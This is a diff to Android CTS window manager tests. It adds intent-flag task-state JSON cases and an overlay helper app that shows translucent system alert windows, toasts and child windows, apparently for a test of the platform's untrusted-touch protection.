-                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
-                        "state": "STOPPED"
                     }
                 ]
             }
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/single-task.json b/tests/framework/base/windowmanager/intent_tests/newTask/single-task.json
new file mode 100644
index 0000000..9c5a63f
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/single-task.json
@@ -0,0 +1,52 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "",
+                "class": "android.server.wm.intent.Activities$SingleTaskActivity2",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTaskActivity2",
+                        "state": "RESUMED"
+                    }
+                ]
+            },
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+    }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/test-15.json b/tests/framework/base/windowmanager/intent_tests/newTask/test-15.json
index b0f1b08..b73cbd7 100644
--- a/tests/framework/base/windowmanager/intent_tests/newTask/test-15.json
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/test-15.json
@@ -36,7 +36,11 @@
                     {
                         "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
                         "state": "RESUMED"
-                    },
+                    }
+                ]
+            },
+            {
+                "activities": [
                     {
                         "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleInstanceActivity",
                         "state": "STOPPED"
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json b/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json
new file mode 100644
index 0000000..99b3c18
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/test-multiple-task.json
@@ -0,0 +1,49 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_MULTIPLE_TASK",
+                "class": "android.server.wm.intent.Activities$SingleTopActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "RESUMED"
+                    }
+                ]
+            }
+        ]
+    },
+    "endState": {
+        "tasks": [
+            {
+                "activities": [
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$SingleTopActivity",
+                        "state": "RESUMED"
+                    },
+                    {
+                        "name": "android.server.wm.cts/android.server.wm.intent.Activities$RegularActivity",
+                        "state": "STOPPED"
+                    }
+                ]
+            }
+        ]
+
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/jetpack/Android.bp b/tests/framework/base/windowmanager/jetpack/Android.bp
index 5dc3218..ec0c189 100644
--- a/tests/framework/base/windowmanager/jetpack/Android.bp
+++ b/tests/framework/base/windowmanager/jetpack/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_library_import {
     name: "cts_window-extensions_nodeps",
     aars: ["window-extensions-release.aar"],
diff --git a/tests/framework/base/windowmanager/overlayappbase/Android.bp b/tests/framework/base/windowmanager/overlayappbase/Android.bp
new file mode 100644
index 0000000..77c9149
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_library {
+    name: "cts-wm-overlayapp-base",
+    defaults: ["cts_support_defaults"],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+
+    static_libs: [
+        "cts-wm-app-base",
+        "androidx.annotation_annotation",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
new file mode 100644
index 0000000..3a608dc
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.wm.overlay">
+
+    <!-- We use SAWs to create obscuring windows for test WindowUntrustedTouchTest -->
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application>
+        <service
+            android:name="android.server.wm.overlay.UntrustedTouchTestService"
+            android:exported="true" />
+        <activity
+            android:name="android.server.wm.overlay.OverlayActivity"
+            android:theme="@android:style/Theme.Translucent"
+            android:exported="true" />
+        <activity
+            android:name="android.server.wm.overlay.ExitAnimationActivity"
+            android:exported="true" />
+        <activity
+            android:name="android.server.wm.overlay.ToastActivity"
+            android:exported="true" />
+    </application>
+
+</manifest>
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_0_7.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_0_7.xml
new file mode 100644
index 0000000..c58678b
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_0_7.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<alpha
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromAlpha="0.7"
+    android:toAlpha="0.7"
+    android:duration="@integer/animation_duration"
+    />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_0_9.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_0_9.xml
new file mode 100644
index 0000000..6f58a9a
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_0_9.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<alpha
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromAlpha="0.9"
+    android:toAlpha="0.9"
+    android:duration="@integer/animation_duration"
+    />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_1.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_1.xml
new file mode 100644
index 0000000..8b1a09e
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/alpha_1.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<alpha
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromAlpha="1"
+    android:toAlpha="1"
+    android:duration="@integer/animation_duration"
+    />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_0_7.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_0_7.xml
new file mode 100644
index 0000000..cb60741
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_0_7.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<alpha
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromAlpha="0.7"
+    android:toAlpha="0.7"
+    android:duration="@integer/long_animation_duration"
+    />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_1.xml b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_1.xml
new file mode 100644
index 0000000..062c213
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/anim/long_alpha_1.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<alpha
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:fromAlpha="1"
+    android:toAlpha="1"
+    android:duration="@integer/long_animation_duration"
+    />
diff --git a/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml b/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml
new file mode 100644
index 0000000..69d88b3
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/res/values/values.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<resources>
+    <integer name="animation_duration">2000</integer>
+    <integer name="long_animation_duration">6000</integer>
+</resources>
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
new file mode 100644
index 0000000..beff6c1
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/Components.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import android.content.ComponentName;
+import android.server.wm.component.ComponentsBase;
+
+
+public class Components extends ComponentsBase {
+    public interface UntrustedTouchTestService {
+        ComponentName COMPONENT = component("UntrustedTouchTestService");
+    }
+
+    public interface OverlayActivity {
+        ComponentName COMPONENT = component("OverlayActivity");
+        String EXTRA_OPACITY = "opacity";
+        String EXTRA_TOUCHABLE = "touchable";
+        String EXTRA_TOKEN_RECEIVER = "token_receiver";
+        String EXTRA_TOKEN = "token";
+    }
+
+    public interface ExitAnimationActivity {
+        ComponentName COMPONENT = component("ExitAnimationActivity");
+    }
+
+    public interface ExitAnimationActivityReceiver {
+        String ACTION_FINISH =
+                "android.server.wm.overlay.ExitAnimationActivityReceiver.ACTION_FINISH";
+        String EXTRA_ANIMATION = "animation";
+        int EXTRA_VALUE_ANIMATION_EMPTY = 0;
+        int EXTRA_VALUE_ANIMATION_0_7 = 1;
+        int EXTRA_VALUE_ANIMATION_0_9 = 2;
+        int EXTRA_VALUE_LONG_ANIMATION_0_7 = 3;
+    }
+
+    public interface ToastActivity {
+        ComponentName COMPONENT = component("ToastActivity");
+    }
+
+    private static ComponentName component(String className) {
+        return component(Components.class, className);
+    }
+}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ExitAnimationActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ExitAnimationActivity.java
new file mode 100644
index 0000000..ded84a7
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ExitAnimationActivity.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import static android.server.wm.overlay.UntrustedTouchTestService.BACKGROUND_COLOR;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.view.View;
+
+import androidx.annotation.AnimRes;
+import androidx.annotation.Nullable;
+
+
+/**
+ * Activity that registers a receiver to listen to actions in {@link
+ * Components.ExitAnimationActivityReceiver} to exit with animations.
+ */
+public class ExitAnimationActivity extends Activity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = new View(this);
+        view.setBackgroundColor(BACKGROUND_COLOR);
+        setContentView(view);
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+        registerReceiver(mReceiver,
+                new IntentFilter(Components.ExitAnimationActivityReceiver.ACTION_FINISH));
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        unregisterReceiver(mReceiver);
+    }
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            switch (intent.getAction()) {
+                case Components.ExitAnimationActivityReceiver.ACTION_FINISH:
+                    int exitAnimation = intent.getIntExtra(
+                            Components.ExitAnimationActivityReceiver.EXTRA_ANIMATION,
+                            Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_EMPTY);
+                    finish();
+                    overridePendingTransition(getEnterAnimationRes(exitAnimation),
+                            getAnimationRes(exitAnimation));
+                    break;
+                default:
+                    throw new AssertionError("Unknown action" + intent.getAction());
+            }
+        }
+    };
+
+    /** An enter animation for a certain exit animation, mostly so durations match. */
+    @AnimRes
+    private static int getEnterAnimationRes(int exitAnimation) {
+        switch (exitAnimation) {
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_EMPTY:
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_7:
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_9:
+                return R.anim.alpha_1;
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_LONG_ANIMATION_0_7:
+                return R.anim.long_alpha_1;
+            default:
+                throw new AssertionError("Unknown animation value " + exitAnimation);
+        }
+    }
+
+    @AnimRes
+    private static int getAnimationRes(int animation) {
+        switch (animation) {
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_EMPTY:
+                return 0;
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_7:
+                return R.anim.alpha_0_7;
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_ANIMATION_0_9:
+                return R.anim.alpha_0_9;
+            case Components.ExitAnimationActivityReceiver.EXTRA_VALUE_LONG_ANIMATION_0_7:
+                return R.anim.long_alpha_0_7;
+            default:
+                throw new AssertionError("Unknown animation value " + animation);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java
new file mode 100644
index 0000000..0d1199f
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/OverlayActivity.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_OPACITY;
+import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOKEN;
+import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOKEN_RECEIVER;
+import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOUCHABLE;
+import static android.server.wm.overlay.UntrustedTouchTestService.BACKGROUND_COLOR;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.ResultReceiver;
+import android.view.View;
+import android.view.Window;
+import android.view.WindowManager.LayoutParams;
+
+import androidx.annotation.Nullable;
+
+/** This is an activity for which android:windowIsTranslucent is true. */
+public class OverlayActivity extends Activity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        View view = new View(this);
+        view.setBackgroundColor(BACKGROUND_COLOR);
+        setContentView(view);
+        Window window = getWindow();
+        Intent intent = getIntent();
+        window.getAttributes().alpha = intent.getFloatExtra(EXTRA_OPACITY, 1f);
+        if (!intent.getBooleanExtra(EXTRA_TOUCHABLE, false)) {
+            window.addFlags(LayoutParams.FLAG_NOT_TOUCHABLE);
+        }
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        ResultReceiver receiver = getIntent().getParcelableExtra(EXTRA_TOKEN_RECEIVER);
+        if (receiver != null) {
+            // The token field is set as part of resuming the activity (after onResume()), so
+            // posting a runnable to the same thread guarantees that it gets executed when the token
+            // is set.
+            getWindow().getDecorView().post(() -> {
+                Bundle bundle = new Bundle();
+                bundle.putBinder(EXTRA_TOKEN, getWindow().getAttributes().token);
+                receiver.send(0, bundle);
+            });
+        }
+    }
+
+
+}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java
new file mode 100644
index 0000000..5870d91
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/ToastActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import static android.server.wm.overlay.UntrustedTouchTestService.BACKGROUND_COLOR;
+
+import android.app.Activity;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.View;
+import android.widget.Toast;
+
+public class ToastActivity extends Activity {
+    private static final String TAG = "ToastActivity";
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        // For toast matters, foreground means having an activity resumed on screen, so doing this
+        // on onResume()
+        Toast toast = new Toast(this);
+        View view = new View(this);
+        view.setBackgroundColor(BACKGROUND_COLOR);
+        toast.setView(view);
+        toast.setGravity(Gravity.FILL, 0, 0);
+        toast.setDuration(Toast.LENGTH_LONG);
+        Log.d(TAG, "Posting custom toast");
+        toast.show();
+        finish();
+    }
+}
diff --git a/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/UntrustedTouchTestService.java b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/UntrustedTouchTestService.java
new file mode 100644
index 0000000..25737f7
--- /dev/null
+++ b/tests/framework/base/windowmanager/overlayappbase/src/android/server/wm/overlay/UntrustedTouchTestService.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.overlay;
+
+import static android.view.Display.DEFAULT_DISPLAY;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.hardware.display.DisplayManager;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.RemoteException;
+import android.server.wm.shared.IUntrustedTouchTestService;
+import android.util.ArrayMap;
+import android.view.Display;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+
+import java.util.Collections;
+import java.util.Map;
+
+
+public class UntrustedTouchTestService extends Service {
+    public static final int BACKGROUND_COLOR = 0xFF00FF00;
+
+    /** Map from view to the service manager that manages it. */
+    private final Map<View, WindowManager> mViewManagers = Collections.synchronizedMap(
+            new ArrayMap<>());
+
+    /** Can only be accessed from the main thread. */
+    private Toast mToast;
+
+    private final IUntrustedTouchTestService mBinder = new Binder();
+    private volatile Handler mMainHandler;
+    private volatile Context mSawContext;
+    private volatile WindowManager mWindowManager;
+    private volatile WindowManager mSawWindowManager;
+
+    @Override
+    public void onCreate() {
+        mMainHandler = new Handler(Looper.getMainLooper());
+        mWindowManager = getSystemService(WindowManager.class);
+        mSawContext = getContextForSaw(this);
+        mSawWindowManager = mSawContext.getSystemService(WindowManager.class);
+    }
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder.asBinder();
+    }
+
+    @Override
+    public void onDestroy() {
+        removeOverlays();
+    }
+
+    private class Binder extends IUntrustedTouchTestService.Stub {
+        private final UntrustedTouchTestService mService = UntrustedTouchTestService.this;
+
+        @Override
+        public void showToast() {
+            mMainHandler.post(() -> {
+                mToast = Toast.makeText(mService, "Toast " + getPackageName(), Toast.LENGTH_LONG);
+                mToast.show();
+            });
+        }
+
+        @Override
+        public void showSystemAlertWindow(String name, float opacity) {
+            View view = getView(mSawContext);
+            LayoutParams params = newOverlayLayoutParams(name,
+                    LayoutParams.TYPE_APPLICATION_OVERLAY);
+            params.setTitle(name);
+            params.alpha = opacity;
+            mMainHandler.post(() -> mSawWindowManager.addView(view, params));
+            mViewManagers.put(view, mSawWindowManager);
+        }
+
+        @Override
+        public void showActivityChildWindow(String name, IBinder token) throws RemoteException {
+            View view = getView(mService);
+            LayoutParams params = newOverlayLayoutParams(name, LayoutParams.TYPE_APPLICATION);
+            params.token = token;
+            mMainHandler.post(() -> mWindowManager.addView(view, params));
+            mViewManagers.put(view, mWindowManager);
+        }
+
+        public void removeOverlays() {
+            mService.removeOverlays();
+        }
+    }
+
+    private void removeOverlays() {
+        synchronized (mViewManagers) {
+            for (View view : mViewManagers.keySet()) {
+                mViewManagers.get(view).removeView(view);
+            }
+            mViewManagers.clear();
+        }
+        mMainHandler.post(() -> {
+            if (mToast != null) {
+                mToast.cancel();
+            }
+        });
+    }
+
+    private static Context getContextForSaw(Context context) {
+        DisplayManager displayManager = context.getSystemService(DisplayManager.class);
+        Display display = displayManager.getDisplay(DEFAULT_DISPLAY);
+        Context displayContext = context.createDisplayContext(display);
+        return displayContext.createWindowContext(LayoutParams.TYPE_APPLICATION_OVERLAY, null);
+    }
+
+    private static View getView(Context context) {
+        View view = new View(context);
+        view.setBackgroundColor(BACKGROUND_COLOR);
+        return view;
+    }
+
+    private static LayoutParams newOverlayLayoutParams(String windowName, int type) {
+        LayoutParams params = new LayoutParams(
+                LayoutParams.MATCH_PARENT,
+                LayoutParams.MATCH_PARENT,
+                type,
+                LayoutParams.FLAG_NOT_TOUCHABLE | LayoutParams.FLAG_NOT_FOCUSABLE,
+                PixelFormat.TRANSLUCENT);
+        params.setTitle(windowName);
+        return params;
+    }
+}
diff --git a/tests/framework/base/windowmanager/shared/Android.bp b/tests/framework/base/windowmanager/shared/Android.bp
new file mode 100644
index 0000000..8655635
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_library {
+    name: "cts-wm-shared",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.aidl",
+    ],
+}
diff --git a/tests/framework/base/windowmanager/shared/AndroidManifest.xml b/tests/framework/base/windowmanager/shared/AndroidManifest.xml
new file mode 100644
index 0000000..d5717f0
--- /dev/null
+++ b/tests/framework/base/windowmanager/shared/AndroidManifest.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.server.wm.shared">
+    <application/>
+</manifest>
